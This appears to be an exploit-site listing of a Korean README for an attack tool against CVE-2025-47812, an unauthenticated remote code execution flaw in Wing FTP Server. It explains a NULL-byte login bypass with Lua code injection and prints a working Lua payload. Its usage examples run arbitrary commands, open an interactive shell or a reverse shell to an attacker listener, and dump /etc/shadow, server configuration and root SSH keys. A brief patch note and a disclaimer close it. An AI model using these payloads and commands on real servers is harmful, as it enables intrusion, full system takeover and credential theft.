Sploitus

Exploit for CVE-2025-47812

kitploit Β· 2026-09-04

Exploit Code

MARKDOWN137 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POPYUE-CVE-2025-47812
# CVE-2025-47812 β€” Wing FTP Server 비인증 RCE

root@kitploit:~
    
    
     β–ˆβ–ˆβ•—    β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
     β–ˆβ–ˆβ•‘    β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•     β–ˆβ–ˆβ•”β•β•β•β•β•β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
     β–ˆβ–ˆβ•‘ β–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
     β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘    β–ˆβ–ˆβ•”β•β•β•     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•”β•β•β•β•
     β•šβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•    β–ˆβ–ˆβ•‘        β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘
      β•šβ•β•β•β•šβ•β•β• β•šβ•β•β•šβ•β•  β•šβ•β•β•β• β•šβ•β•β•β•β•β•     β•šβ•β•        β•šβ•β•   β•šβ•β•
    

## κ°œμš”

ν•„λ“œ| 세뢀사항  
---|---  
**CVE**|  CVE-2025-47812  
**영ν–₯λ°›λŠ” 버전**|  Wing FTP Server <= 7.4.3  
**μˆ˜μ • 버전**|  Wing FTP Server 7.4.4  
**CVSS 점수**|  10.0 (치λͺ…적)  
**인증 ν•„μš”**|  μ—†μŒ (읡λͺ… 둜그인으둜 μΆ©λΆ„)  
**νšλ“ κΆŒν•œ**| `root` (Linux) / `NT AUTHORITY\SYSTEM` (Windows)  
**발견자**|  Julien Ahrens (@MrTuxracer) β€” rcesecurity.com  
  
* * *

## 취약점 μ„€λͺ…

Wing FTP Server의 μ›Ή μΈν„°νŽ˜μ΄μŠ€λŠ” 사전 인증 없이 원격 μ½”λ“œ 싀행을 κ°€λŠ₯ν•˜κ²Œ ν•˜λŠ” 2단계 곡격에 μ·¨μ•½ν•©λ‹ˆλ‹€.

### 1단계 β€” NULL λ°”μ΄νŠΈ 인증 우회 + Lua μ½”λ“œ μ‚½μž…

Wing FTP λ°”μ΄λ„ˆλ¦¬μ˜ `c_CheckUser()` ν•¨μˆ˜λŠ” λ‚΄λΆ€μ μœΌλ‘œ `strlen()`을 μ‚¬μš©ν•˜λ―€λ‘œ, μ‚¬μš©μž 이름 λ¬Έμžμ—΄μ€ 첫 번째 NULL λ°”μ΄νŠΈ(`\x00`)μ—μ„œ μž˜λ¦½λ‹ˆλ‹€. λ”°λΌμ„œ `anonymous%00<μž„μ˜_데이터>`와 같은 μ‚¬μš©μž 이름은 μœ νš¨ν•œ μ‚¬μš©μž(`anonymous`)κ°€ μ‘΄μž¬ν•˜κΈ°λ§Œ ν•˜λ©΄ 인증을 ν†΅κ³Όν•©λ‹ˆλ‹€.

인증 성곡 ν›„ `loginok.html`은 **μ™„μ „νžˆ μ •μ œλ˜μ§€ μ•Šμ€** POST λ§€κ°œλ³€μˆ˜(즉, NULL λ°”μ΄νŠΈ μ΄ν›„μ˜ λͺ¨λ“  λ‚΄μš© 포함)λ₯Ό μ‚¬μš©ν•˜μ—¬ `rawset(_SESSION, "username", username)`을 ν˜ΈμΆœν•©λ‹ˆλ‹€. μ„Έμ…˜μ€ 이후 `SessionModule.save()`λ₯Ό 톡해 Lua 슀크립트 파일둜 μ§λ ¬ν™”λ©λ‹ˆλ‹€.

직렬화 ν•¨μˆ˜λŠ” Lua κΈ΄ λ¬Έμžμ—΄ λ¦¬ν„°λŸ΄ `[[...]]`λ₯Ό 값에 μ‚¬μš©ν•˜λ©°, μ•„λ¬΄λŸ° 검사 없이 감싸기 λ•Œλ¬Έμ— μ‚¬μš©μž 이름에 `]]`λ₯Ό μ‚½μž…ν•˜λ©΄ λ¬Έμžμ—΄ λ¦¬ν„°λŸ΄μ΄ μ‘°κΈ° μ’…λ£Œλ˜κ³  μ„Έμ…˜ νŒŒμΌμ— μž„μ˜μ˜ Lua μ½”λ“œλ₯Ό μΆ”κ°€ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

**νŽ˜μ΄λ‘œλ“œ ꡬ쑰:**

root@kitploit:~
    
    
    anonymous\x00]]
    local h = io.popen("id")
    local r = h:read("*a")
    h:close()
    print(r)
    --
    

끝의 `--`λŠ” Wing FTPκ°€ κ°’ 뒀에 μΆ”κ°€ν•˜λŠ” `]]`λ₯Ό 주석 μ²˜λ¦¬ν•©λ‹ˆλ‹€.

### 2단계 β€” 인증된 μ—”λ“œν¬μΈνŠΈλ₯Ό ν†΅ν•œ 트리거

μ„Έμ…˜ 파일(`UID` μΏ ν‚€ 값을 파일 μ΄λ¦„μœΌλ‘œ μ‚¬μš©)은 인증된 μ—”λ“œν¬μΈνŠΈμ— μ ‘κ·Όν•  λ•Œλ§ˆλ‹€ `loadfile()` \+ `f()`λ₯Ό 톡해 μ‹€ν–‰λ˜λŠ” Lua μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. `POST /dir.html`에 `UID` μΏ ν‚€λ₯Ό ν¬ν•¨ν•˜μ—¬ 보내면 μ‚½μž…λœ Lua μ½”λ“œκ°€ μ‹€ν–‰λ˜κ³ , `<?xml` μ½˜ν…μΈ  이전에 λͺ…λ Ή 좜λ ₯이 응닡 본문에 λ°˜ν™˜λ©λ‹ˆλ‹€.

* * *

## μš”κ΅¬ 사항

  * Python 3.10+
  * `requests`, `urllib3`



root@kitploit:~
    
    
    pip install -r requirements.txt
    

* * *

## μ‚¬μš©λ²•

root@kitploit:~
    
    
    usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
                          [--verify-ssl]
                          [--cmd CMD | --shell | --revshell | --dump]
                          [--lhost IP] [--lport PORT] [--listen]
                          target
    

### 예제

root@kitploit:~
    
    
    # Single command
    python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
    python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
    
    # Target by IP (Wing FTP uses virtual-host routing β€” supply hostname with --vhost)
    python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
    
    # Interactive pseudo-shell
    python3 CVE-2025-47812.py http://ftp.target.com --shell
    
    # Reverse shell (start nc listener separately)
    python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
    
    # Reverse shell with built-in listener
    python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
    
    # Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
    python3 CVE-2025-47812.py http://ftp.target.com --dump
    
    # With non-anonymous credentials
    python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
    

* * *

## ν•΄κ²° 방법

Wing FTP Serverλ₯Ό **버전 7.4.4** μ΄μƒμœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œν•˜μ„Έμš”.

* * *

## 참고 자료

  * 원본 뢄석글: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
  * NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
  * κ΄€λ ¨: CVE-2025-47811 (κ³Όλ„ν•˜κ²Œ ν—ˆμš©μ μΈ μ„œλΉ„μŠ€ κΆŒν•œ), CVE-2025-47813 (κ³Όλ„ν•˜κ²Œ κΈ΄ UID μΏ ν‚€λ₯Ό ν†΅ν•œ 경둜 λ…ΈμΆœ)



* * *

## λ©΄μ±… μ‘°ν•­

이 λ„κ΅¬λŠ” **ꡐ윑 λͺ©μ  및 승인된 침투 ν…ŒμŠ€νŠΈ μ „μš©** 으둜 μ œκ³΅λ©λ‹ˆλ‹€. 이 μ΅μŠ€ν”Œλ‘œμž‡μ„ μ†Œμœ ν•˜μ§€ μ•Šμ•˜κ±°λ‚˜ λͺ…μ‹œμ μΈ μ„œλ©΄ ν—ˆκ°€λ₯Ό λ°›μ§€ μ•Šμ€ μ‹œμŠ€ν…œμ—μ„œ μ‹€ν–‰ν•˜λŠ” 것은 λΆˆλ²•μ΄λ©° λΉ„μœ€λ¦¬μ μž…λ‹ˆλ‹€. μ €μžλŠ” μ–΄λ– ν•œ μ˜€μš©μ— λŒ€ν•΄μ„œλ„ μ±…μž„μ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.